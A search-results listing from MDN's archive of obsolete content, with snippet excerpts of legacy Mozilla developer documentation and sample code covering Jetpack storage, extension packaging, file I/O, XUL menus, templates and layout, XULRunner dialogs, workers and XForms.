...examples this code persistently stores some data: jetpack.future.import("storage.simple");var mystorage = jetpack.storage.simple;mystorage.fribblefrops = [1, 3, 3, 7];mystorage.heimelfarbs = { bar: "baz" }; and this code -- pretend it's in the same jetpack as the code above -- simply uses that data: mystorage.fribblefrops.foreach(function (elt) console.log(elt));var bar = mystorage.heimelfarbs.bar;jetpack.notifications.show(bar.baz); that's all there is to it!
...jetpack.future.import("menu");jetpack.future.import("selection");jetpack.future.import("storage.simple");// create the persistent notes array if it doesn't already exist.jetpack.storage.simple.notes = jetpack.storage.simple.notes || [];var notes = jetpack.storage.simple.notes;// updates the jetpack menu with the current notes.
...And 3 more matches
Makefile.mozextension.2 - Archive of obsolete content
then again if you do that, all of the < > will be quoted as & lt ; so again it will be corrupt :( therefore, here is a direct link to this makefile: makefile.mozextension2 ## file: makefile.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-x...
...xxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project_author=author name # mkdir=$(shell which mkdir) mkdir=/bin/mkdir zipprog=/usr/bin/zip shell = /bin/sh noop = $(shell) -c true noecho = @ rm_rf=rm -f cp=/bin/cp -i .phony: all all :: make_structure make_files $(noecho) $(noop) package:: make_xpi $(noecho) $(noop) #install :: make_xpi make_install # $(noecho) $(noop) clean :: make_clean $(noecho) $(noop) make_structure: @$(mkdir) $(project) || { echo "creating directory failed; it probably exists.
... either remove (clean it), or choose individual targets to build."; exit 1; } @echo $(mkdir) $(project) $(mkdir) $(project)/content $(project)/locale $(project)/locale/en-us $(project)/components/ $(project)/defaults/ $(project)/defaults/preferences/ $(project)/locale/de-de $(project)/skin make_xpi: $(mkdir) $(project)/chrome && \ cd $(project) && \ $(zipprog) -r chrome/$(project).jar content locale skin && \ $(zipprog) -r $(project).xpi chrome.manifest install.rdf components defaults chrome && cd ..
...And 3 more matches
Nanojit - Archive of obsolete content
it is an acronym for "low-level intermediate representation".
... #include <stdio.h> #include <stdint.h> #include "jsapi.h" #include "jstracer.h" #include "nanojit.h" using namespace nanojit; const uint32_t cache_size_log2 = 20; static avmplus::gc gc = avmplus::gc(); static avmplus::avmcore core = avmplus::avmcore(); int main() { logcontrol lc; #ifdef debug lc.lcbits = lc_readlir | lc_assembly; #else lc.lcbits = 0; #endif // set up the basic nanojit objects.
... compile(assm, f, *alloc verbose_only(, fragmento->labels)); if (assm->error() != none) { fprintf(stderr, "error compiling fragment\n"); return 1; } printf("compilation successful.\n"); // call the compiled function.
...And 3 more matches
Reading textual data - Archive of obsolete content
converting read data if you read data from nsiscriptableinputstream as described on the file i/o code snippets page, you can convert it to utf-8 // sstream is nsiscriptableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterservice;1"].
... getservice(components.interfaces.nsiutf8converterservice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and newer reading strings starting with gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverterinputstream to read strings from a stream (nsiinputstream).
...using utf-8 for this example: */ "utf-8"; const replacementchar = components.interfaces.nsiconverterinputstream.default_replacement_character; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); is.init(fis, charset, 1024, replacementchar); now you can read string from is: var str = {}; var numchars = is.readstring(4096, str); if (numchars != 0 /* eof */) var read_string = str.value; to read the entire stream and do something with the data: var str = {}; while (is.readstring(4096, str) != 0) { processdata(str.value); } don't forget to close the stream when you're done...
...And 3 more matches
File object - Archive of obsolete content
use of standard "file:" urls is encouraged.
... examples of possible prefix strings are "/" to indicate the unix root directory, "c:" to specify a windows drive letter, and "file:" to indicate a file url.
... when a file is constructed, leading and trailing spaces are removed from the filename, so new file(" abc.txt ") just creates a file called abc.txt.
...And 3 more matches
Supporting per-window private browsing - Archive of obsolete content
try { // firefox 20+ components.utils.import("resource://gre/modules/privatebrowsingutils.jsm"); if (!privatebrowsingutils.iswindowprivate(window)) { ...
... // might use doc.hasattribute("privatebrowsingmode") then instead) try { var inprivatebrowsing = components.classes["@mozilla.org/privatebrowsing;1"].
...function pbobserver() { /* clear private data */ } var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); os.addobserver(pbobserver, "last-pb-context-exited", false); preventing a private session from ending if there are unfinished transactions involving private data, where the transactions will be terminated by the ending of a private session, an add-on can vote to prevent the session from endi...
...And 3 more matches
Table Cellmap - Archive of obsolete content
<table> <tr><td>cell 1</td><td colspan="2">cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td><td>cell 5</td></tr> </table> table cell map would be: row 0 : c0,0 c0,1 c row 1 : c1,0 c1,1 c1,2 while it is clear that in the cells that are the origin of a table cells one will find a address the more interesting question is, what will be the content in the upper right cell.
...there is a special attribute for rowspan="0" and colspan="0", because html 4.0 did introduce a special handling of the 0 value.
...the default value of this attribute is one ("1").
...And 3 more matches
Writing textual data - Archive of obsolete content
some character encodings (utf-8, utf-16, utf-32) can represent "all" characters (the full repertoire of unicode) while others can only represent a subset of the full repertoire.
... writing to a stream in gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverteroutputstream: var charset = "utf-8"; // can be any character encoding name that mozilla supports var os = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); // this assumes that fos is the nsioutputstream you want to write to os.init(fos, charset, 0, 0x0000); os.writestring("umlaute: \u00fc \u00e4\n"); os.writestring("hebrew: \u05d0 \u05d1\n"); // etc.
... to instead write a replacement character in such cases, specify the character instead of 0x00: os.init(fos, charset, 0, "?".charcodeat(0)); you can, of course, replace the "?" in that example with any other character.
...And 3 more matches
Windows stub installer - Archive of obsolete content
(if you need to rebuild stub installer, got to /mozilla/xpinstall/wizard/windows/setup and type "nmake /f makefile.win") go to mozilla/xpinstall/wizard/windows/builder on the shell prompt type "perl build.pl".
... if you need to use vc++ to debug the installer: under project | settings | debug set "executable for debug session" to be the path to mozilla/dist/win32_d.obj/install/setup.exe set "working directory" to be the path to mozilla/dist/wind32_d.obj/install press f10 to step into the code how we get setup to debug the xpinstall engine from the windows stub installer?
... other macro strings listed in makejs.pl can be found by searching for "version", which is one of the macro strings, until you find the line $line =~ s/\$version\$/$inversion/i; other macro strings are grouped in this section.
...And 3 more matches
confirm - Archive of obsolete content
this string is typically in the form of a prompt for the user (e.g., "are you sure you want to delete the selected file(s)?").
...defaults to "confirm" (or the localized equivalent).
...note that this only applies to buttons 0 and 2, not button 1 (the "cancel" button).
...And 3 more matches
Working With Directories - Archive of obsolete content
var dir1 = io.getfile("home", ""); var dir2 = io.getfile("desktop", "myfiles"); to refer to a subdirectory, rather than using a path, use nsifile.append() to build up a path.
... for instance: var dir2 = io.getfile("desktop", "myfiles"); dir2.append("pictures"); dir2.append("vacations"); in this example, a subdirectory several levels down is referenced.
...var dir = io.getfile("desktop", "myfiles"); dir.append("pictures"); if (dir.exists() && dir.isdirectory()) alert("this is a directory"); creating directories you can create a new directory by using nsifile.create().
...And 3 more matches
Reading from Files - Archive of obsolete content
var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); this example first retrieves a file object using nsiscriptableio.getfile().
...var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); var str = stream.readstring(20); stream.close(); in this example, a text input stream is created for the file 'sample.txt'.
...you can use the available method to check if data is available for reading: var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); var str = stream.readstring(stream.available()); stream.close(); in this example, the available method is called to determine the number of available bytes for reading.
...And 3 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
var file = io.newfile("home", "source.txt"); var destination = io.newfile("desktop", ""); file.copyto(destination, "destination.txt"); this example copies a file called 'source.txt' within the user's home directory to the desktop.
... var file = io.newfile("home", "importantdata"); var destination = io.newfile("desktop", ""); destination.append("backups"); file.copyto(destination, ""); this example copies an item called 'importantdata' into a directory called 'backups' within the desktop directory.
... var file = io.newfile("desktop", "myimage.png"); file.copyto(null, "anotherimage.png"); here, a file is copied within the same directory as the supplied destination is null.
...And 3 more matches
Extensions - Archive of obsolete content
for instance: <menubar id="main-menubar"> <menu label="search" insertbefore="tools-menu"> <menupopup> <menuitem label="web"/> <menuitem label="mail"/> </menupopup> </menu> </menubar> this menu is added to the main menu bar just before the tools menu.
...for example, to add an item to the end of the tools menu, use the following: <menupopup id="menu_toolspopup"> <menuitem label="thesaurus"/> </menupopup> note that other extensions may be adding their own items into the same menus.
... <popup id="contentareacontextmenu"> <menuitem id="thumbnail-show" label="view thumbnail" oncommand="thumbnails.view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses.
...And 3 more matches
OpenClose - Archive of obsolete content
here is a complete example which uses a button to open a menu: <button label="open menu" oncommand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag.
...the openpopup method is defined as follows: void openpopup(in domelement anchorelement, in string position, in long x, in long y, in boolean iscontextmenu, in boolean attributesoverride); first an example: somepopup.openpopup(anchor, "after_start", 0, 0, false, false); this example will open a popup located just underneath another element referenced by 'anchor'.
... somepopup.openpopup(document.documentelement, "end_before", 0, 0, false, false); the second argument to openpopup is the anchor position, which specifies which side of the anchor the popup is positioned on.
...And 3 more matches
PopupEvents - Archive of obsolete content
<panel id="time-panel" onpopupshowing="this.lastchild.value = (new date()).tolocaleformat('%t')"> <label value="time:"/> <label id="time"/> </panel> <toolbarbutton label="show time" popup="time-panel"/> you can prevent a menu or popup from appearing by calling the preventdefault method of the event from within a popupshowing listener.
...<menu label="edit"> <menupopup onpopupshowing="if (gdisallowed) event.preventdefault();"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> in this example, a global variable gdisallowed is checked and the preventdefault method is called.
...for example: <menu label="file"> <menupopup onpopupshowing="if (event.target == this) adjustfilemenu(this);"> <menu label="open"> <menupopup> <menuitem label="file..."/> <menuitem label="page"/> </menupopup> </menu> </menupopup> </menu> the target of the event is examined to ensure that the event is for the desired menupopup.
...And 3 more matches
Providing Command-Line Options - Archive of obsolete content
e: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-startup;1?type=myapp the javascript code const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); components.utils.import("resource://gre/modules/services.jsm"); // changeme: to the chrome uri of your extension or application const chrome_uri = "chrome://myapp/content/"; /** * utility functions */ /** * opens a chrome window.
... * @param aargument an argument to pass to the window (may be null) */ function openwindow(achromeurispec, aargument) { services.ww.openwindow(null, achromeurispec, "_blank", "chrome,menubar,toolbar,status,resizable,dialog=no", aargument); } // command line handler function commandlinehandler() { }; commandlinehandler.prototype = { classdescription: "myapphandler", // changeme: generate a unique id classid: components.id('{2991c315-b871-42cd-b33f-bfee4fcbf682}'), // changeme: change the type in the contractid to be unique to your application contractid: "@mozilla.org/commandlinehandler/general-startup;1?type=myapp", _xpcom_categories: [{ category: "command-line-h...
...andler", // changeme: // category names are sorted alphabetically.
...And 3 more matches
Building Menus With Templates - Archive of obsolete content
here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
...here is an rdf example: <button label="houses in my neighbourhood" type="menu" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.xulplanet.com/rdf/address"/> </menupopup>...
... </rule> <rule> <menupopup> <menu uri="rdf:*" label="rdf:http://purl.org/dc/elements/1.1/title"/> </menupopup> </rule> </template> </button> this example uses the simple rdf query syntax.
...And 3 more matches
SQLite Templates - Archive of obsolete content
<listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name from myfriends </query> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the query returns the list of values from the 'name' column in the table 'myfriends'.
... the action body, starting at the node with uri="?" is repeated for each result returned from the query.
... <vbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name, email from myfriends where age >= 30 </query> <action> <hbox uri="?"> <label value="?name"/> <label value="?email"/> </hbox> </action> </template> </vbox> this template displays the results of two columns.
...And 3 more matches
Using Recursive Templates - Archive of obsolete content
for example, using this xml datasource: <people> <group name="male"> <person name="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another l...
...<groupbox type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <action> <vbox uri="?" class="indent"> <label value="?name"/> </vbox> </action> </template> </groupbox> in this simplified example, the xpath expression just gets the list of child elements of the reference node.
... <vbox id="row2" container="true" empty="false" class="indent"> <label value="male"/> <vbox id="row4" class="indent"><label value="napoleon bonaparte"/></vbox> <vbox id="row5" class="indent"><label value="julius caesar"/></vbox> <vbox id="row6" class="indent"><label value="ferdinand magellan"/></vbox> </vbox> <vbox id="row3" container="true" empty="false" class="indent"> <label value=...
...And 3 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
reblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupopen, searchcount, searchparam, selectionend, selectionstart, showcommentcolumn, showimagecolumn,size, tabindex, tabscrolling, textlength, textvalue, timeout, type, value methods getsearchat, onsearchcomplete, ontextentered, ontextreverted, select, setselectionrange examples <textbox type="autocomplete" autocompletesearch="history"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> ...
...<textbox id="find-text" onchange="return myfunction(event);"/> </window> oninput type: script code this event is sent when a user enters text in a textbox.
...And 3 more matches
Box Model Details - Archive of obsolete content
example 1 : source view <hbox flex="1"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> in the example above, all three elements will resize themselves as they are all flexible.
...example 2 : source view <hbox flex="1" align="top"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> summary of the box model to achieve complicated layouts, you will generally need to add nested boxes, specify minimum and maximum sizes on some elements, and make certain elements flexible.
...layout examples using spacers example 3 : source view <hbox> <button label="one"/> <spacer style="width: 5px"/> <button label="two"/> </hbox> here, a spacer is used as a separator between the two buttons, by setting an explicit width of 5 pixels.
...And 3 more matches
Box Objects - Archive of obsolete content
example 1 : source view <button label="click me" oncommand="alert('the width is ' + this.boxobject.width);"/> you can use the width and height attributes of the element to specify the element's width and height, respectively.
...example 2 : source view <script> function showpositionandsize() { var labelbox = document.getelementbyid('thelabel').boxobject; alert("position is (" + labelbox.x + "," + labelbox.y + ") and size is (" + labelbox.width + "," + labelbox.height + ")"); } </script> <button label="hide" oncommand="document.getelementbyid('thelabel').hidden = true;"/> <button label="show" oncommand="document.getelementbyid('thelabel').hidden = false;"/> <button label="collapse" oncommand="document.getelementbyi...
...d('thelabel').collapsed = true;"/> <button label="uncollapse" oncommand="document.getelementbyid('thelabel').collapsed = false;"/> <button label="show position/size" oncommand="showpositionandsize();"/> <label id="thelabel" value="i am a label"/> note that if you hide and collapse the label, it will be treated as hidden.
...And 3 more matches
Broadcasters and Observers - Archive of obsolete content
example 1 : source view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a new window" command="my_command"/> in this example, the button does not have a label attribute, however it is attached to a command that does.
... <broadcasterset> <broadcaster id="isoffline" label="offline"/> </broadcasterset> any elements that are watching the broadcaster will be modified automatically whenever the broadcaster has its label attribute changed.
...for example, to make a button an observer of the broadcaster above: <button id="offline_button" observes="isoffline"/> the observes attribute has been placed on the button and its value has been set to the value of the id on the broadcaster to observe.
...And 3 more matches
Commands - Archive of obsolete content
a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in this example, instead of placing the oncommand attribute on the button, we instead place it on a command element.
... example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> <button label="disable" oncommand="document.getelementbyid('cmd_openhelp').setattribute('disabled','true');"/> <button label="enable" oncommand="document.getelementbyid('cmd_openhelp').removeattribute('disabled');"/> in this example, both bu...
... it is normal to put a group of commands inside a commandset element, together near the top of the xul file, as in the following: <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset> a command is invoked when the user activates the button or other element attached to the command.
...And 3 more matches
Cross Package Overlays - Archive of obsolete content
our foverlay.xul example source <?xml version="1.0"?> <overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbox id="browser-toolbox"> <toolbar id="findfile_toolbar"> <label control="findfile_filename" value="search for files named:"/> <textbox id="findfile_filename"/> <label control="findfile_dir" value="directory:"/> <textbox id="findfile_dir"/> <button label="browse..."/> </toolbar...
... the id of the toolbox changed from "<code>navigator-toolbox</code>" to "<code>browser-toolbox</code>" in firefox 3 beta 3.
... you can support both firefox 2 and earlier and firefox 3 by duplicating the <code><span class="plain">' ..
...And 3 more matches
Install Scripts - Archive of obsolete content
the syntax of this function is as follows: initinstall( ''packagename'' , ''regpackage'' , ''version'' ); an example initinstall("find files","/xulplanet/find files","0.5.0.0"); the first argument is the name of the package in user-readable form.
...for example: finddir = getfolder("chrome","findfile"); setpackagefolder(finddir); here, we get findfile folder in the chrome folder and pass it directly to the setpackagefolder() function.
...adddirectory ( dir ); addfile ( dir ); example: adddirectory("findfile"); the example above will specify that the findfile directory from the installer archive should be installed.
...And 3 more matches
More Menu Features - Archive of obsolete content
the example below creates a simple submenu inside the file menu example 1 : source view <toolbox flex="1"> <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menu id="new-menu" label="new"> <menupopup id="new-popup"> <menuitem label="window"/> <menuitem label="message"/> </menupopup> </menu> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> ...
... <menuitem label="exit"/> </menupopup> </menu> </menubar> </toolbox> adding a menu to our find files example let's add a menu to the find files dialog.
... <toolbox> <menubar id="findfiles-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem label="open search..." accesskey="o"/> <menuitem label="save search..." accesskey="s"/> <menuseparator/> <menuitem label="close" accesskey="c"/> </menupopup> </menu> <menu id="edit-menu" label="edit" accesskey="e"> <menupopup id="edit-popup"> <menuitem label="cut" accesskey="t"/> <menuitem label="copy" accesskey="c"/> <menuitem label="paste" accesskey="p" disabled="true"/> </menupopup> </menu> </menubar> <toolbar id="findfiles-toolbar> here we have added two menus with vario...
...And 3 more matches
Popup Menus - Archive of obsolete content
first, an example: <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> as can be seen here, a simple popup menu with three commands on it has been created.
...the sample below shows how we might do this: example 1 : source view <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <box context="clipmenu"> <label value="context click for menu"/> </box> here, the menupopup has been associated with a box.
... example 2 : source view <button label="save" tooltiptext="click here to save your stuff"/> <popupset> <tooltip id="moretip" orient="vertical" style="background-color: #33dd00;"> <description value="click here to see more information"/> <description value="really!" style="color: red;"/> </tooltip> </popupset> <button label="more" tooltip="moretip"/> these two buttons each have a tooltip.
...And 3 more matches
The Box Model - Archive of obsolete content
thus, the two lines below are equivalent: <vbox></vbox> <box orient="vertical"></box> the following example shows how to place three buttons vertically.
... example 1 : source view <vbox> <button id="yes" label="yes"/> <button id="no" label="no"/> <button id="maybe" label="maybe"/> </vbox> the three buttons here are oriented vertically as was indicated by the box.
...the example below shows a simple login prompt: example 2 : source view <vbox> <hbox> <label control="login" value="login:"/> <textbox id="login"/> </hbox> <hbox> <label control="pass" value="password:"/> <textbox id="pass"/> </hbox> <button id="ok" label="ok"/> <button id="cancel" label="cancel"/> </vbox> here four elements have been oriented vertically, two inner hbox tags and two button elements.
...And 3 more matches
XPCOM Examples - Archive of obsolete content
we can use this as in the following example: example 1 : source <toolbox> <menubar id="windowlist-menubar"> <menu label="window"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> a window menu will be created with a list of all the open windows.
...the code below shows how to get a component which implements it: var wmdata = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getservice(); wmdata.queryinterface(components.interfaces.nsiwindowdatasource); this code retrieves a window mediator data source component.
... the example below shows how we might do this: <toolbox> <menubar id="windowlist-menubar"> <menu label="window" oncommand="switchfocus(event.target);"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> <script> function switchfocus(elem) {...
...And 3 more matches
menuitem - Archive of obsolete content
autocheck, checked, closemenu, command, crop, description, disabled, image, key, label, name, selected, tabindex, type, validate, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
...when autocheck is true, the button type should be "checkbox" or "radio".
...do menuitem.setattribute("checked", "false") instead of menuitem.removeattribute("checked")) when the user unchecks the menuitem, as a value of false will both correctly hide the checkmark and persist its hidden state.
...And 3 more matches
prefpane - Archive of obsolete content
attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> ...
... </preferences> <checkbox label="number one?" preference="pref_one"/> ...
... (1) an example of a widget that has state changes tracked for it includes the checkbox element, whose state is tracked automatically when the "command" event fires.
...And 3 more matches
Dialogs in XULRunner - Archive of obsolete content
whenever possible, it is a good idea to reuse these "native" dialogs so users get a consistent experience across applications.
...here is an example xul dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel...
...();"> <script> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </script> <dialogheader title="my dialog" description="example dialog"/> <groupbox flex="1"> <caption label="select favorite fruit"/> <radiogroup> <radio id="1" label="oranges because they are fruity"/> <radio id="2" selected="true" label="strawberries because of color"/> <radio id="3" label="bananna because it pre packaged"/> </radiogroup> </groupbox> </dialog> xul window elements have a special method to open dialogs, called window.opendialog().
...And 3 more matches
Windows and menus in XULRunner - Archive of obsolete content
here is an example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> ...
... building on the simple window code, here is what xul menus and toolbars look like: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="file-popup">...
... <menuitem label="&file.new;" oncommand="dofilenew();"/> <menuitem label="&file.open;" oncommand="dofileopen();"/> <menuitem label="&file.save;" oncommand="dofilesave();"/> <menuseparator/> <menuitem label="&file.exit;" oncommand="dofileexit();"/> </menupopup> </menu> <menu id="edit-menu" label="&edit;"> <menupopup id="edit-popup"> <menuitem label="&edit.undo;" oncommand="doeditundo();"/> <menuitem label="&edit.redo;" oncommand="doeditredo();"/> </menupopup> </menu> </menubar> <toolbar id="main-toolbar"> <toolbarbutton id="open" label="&file.open;" oncommand="dofileopen();"/> <toolbarbutton id="save" label="&file.save;" oncommand="dofilesave();"/> </toolbar...
...And 3 more matches
Archived Mozilla and build documentation - Archive of obsolete content
it also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
...web pages can reference generators via <link rel="microsummary"> elements in their <head> elements.
... dehydra the development focus switched to dxr (where the "d" comes from "dehydra"), which is based on clang instead of gcc.
...And 3 more matches
Using workers in extensions - Archive of obsolete content
that file, ticker_worker.js, is shown here: var symbol = ""; function refreshinformation() { if (!symbol) { throw "no symbol set!"; } var fullurl = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest = new xmlhttprequest(); httprequest.ope...
...n("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(event) { if (event.data) { symbol = event.data.touppercase(); } refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is executed.
...let's take a look: startup: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice) .getbranch("stockwatcher2."); this.prefs.queryinterface(components.interfaces.nsiprefbranch2); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.worker = new worker("chrome://stockwatcher2/content/ticker_worker.js")...
...And 3 more matches
GetObject - Archive of obsolete content
for example: var cadobject; cadobject = getobject("c:\\cad\\schema.cad"); when this code is executed, the application associated with the specified pathname is started, and the object in the specified file is activated.
... if pathname is a zero-length string (""), getobject returns a new object instance of the specified type.
...you could use the following code to activate a layer within a drawing called schema.cad: var layerobject = getobject("c:\\cad\\schema.cad!layer3"); if you do not specify the object's class, automation determines which application to start and which object to activate, based on the file name you provide.
...And 3 more matches
JSObject - Archive of obsolete content
equivalent to "this.methodname(args[0], args[1], ...)" in javascript.
...the expression is a string of javascript source code which will be evaluated in the context given by "this".
...equivalent to "this.name" in javascript.
...And 3 more matches
XForms Repeat Element - Archive of obsolete content
example <model> <instance> <my:lines> <my:line name="a"> <my:price>3.00</my:price> </my:line> <my:line name="b"> <my:price>32.25</my:price> </my:line> </my:lines> </instance> </model> <repeat id="lineset" nodeset="/my:lines/my:line"> <input ref="my:price"> <label>line item</label> </input> <input ref="@name"> <label>name</label> </input> </repeat> <trigger> <label>insert a new item after th...
...e current one</label> <action ev:event="domactivate"> <insert nodeset="/my:lines/my:line" at="index('lineset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xforms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:table.
... example <xforms:model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model> <div xforms:repeat-nodeset="val"> this is the inline content, j...
...And 3 more matches
Correctly Using Titles With External Stylesheets - Archive of obsolete content
external stylesheets are often associated with html documents using the <link rel="stylesheeet"> element, but it is important to use the element's title attribute properly.
... this is because the title attribute on a <link rel="stylesheeet"> element makes it either preferred or an alternative style sheet.
